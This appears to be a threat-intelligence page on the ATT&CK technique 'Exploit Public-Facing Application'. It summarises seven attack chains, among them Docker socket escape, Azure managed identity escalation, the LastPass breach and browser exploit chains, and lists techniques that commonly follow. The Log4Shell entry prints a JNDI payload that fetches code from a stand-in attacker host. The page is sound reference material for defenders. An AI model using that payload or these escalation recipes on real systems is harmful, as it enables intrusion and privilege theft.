Exploit Public-Facing Application

§ Where this technique fits

§ Dossiers chaining this technique

• Renderer compromise → GPU process → vulnerable kernel driver

  After renderer RCE, talk to the GPU process via IPC. GPU process sends ioctls to a vulnerable graphics driver — full kernel R/W; ring0 from a web page.

  step 1 / 5

• Docker socket exposed in pod → host root

  A workload mounts /var/run/docker.sock for convenience; spawn a container with the host root mounted, then chroot in for root on the node.

  step 1 / 6

• Compromised VM → Managed Identity → Subscription Owner

  A VM with an over-privileged system-assigned managed identity is compromised; query IMDS for an Azure AD token, then assign yourself Owner on the subscription.

  step 1 / 5

• Dev workstation → cloud backup keys → encrypted vault store (LastPass 2022)

  Attacker compromised a single LastPass DevOps engineer's home machine via outdated Plex Media Server, harvested AWS keys for the encrypted-vault backup bucket, exfiltrated production vault data.

  step 2 / 7

• Log4Shell (CVE-2021-44228) → RCE → lateral

  Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.

  step 3 / 6

• V8 type-confusion 1-day → renderer RCE

  Public V8 type-confusion turned into a renderer pop. JS triggers JIT into mis-compiling a polymorphic site, addrof/fakeobj primitives, shellcode in a WASM RWX page.

  step 5 / 7

• Rowhammer → bit flip → in-browser sandbox escape

  JavaScript hammers adjacent DRAM rows for tens of seconds; an unlucky-for-defender bit flip in a page-table entry hands the attacker a write primitive into another mapping. RIDL-class chain to native code.

  step 5 / 6

§ What commonly comes next

1. 01
   Acquire Infrastructure

   T1583 · Resource Development
   seen 1×
2. 02
   Azure Managed Identity Escalation

   C-AZ-MANAGED-ID-ESC · Privilege Escalation
   seen 1×
3. 03
   Boot or Logon Autostart Execution

   T1547 · Persistence
   seen 1×
4. 04
   Chromium Mojo IPC Confused-Deputy

   BRW-CHROME-IPC · Privilege Escalation
   seen 1×
5. 05
   Docker Socket Exposed

   K-DOCKER-SOCK · Initial Access
   seen 1×
6. 06
   Renderer → Broker Sandbox Escape

   BRW-RENDERER-SBX-ESCAPE · Privilege Escalation
   seen 1×
7. 07
   Valid Accounts

   T1078 · Initial Access
   seen 1×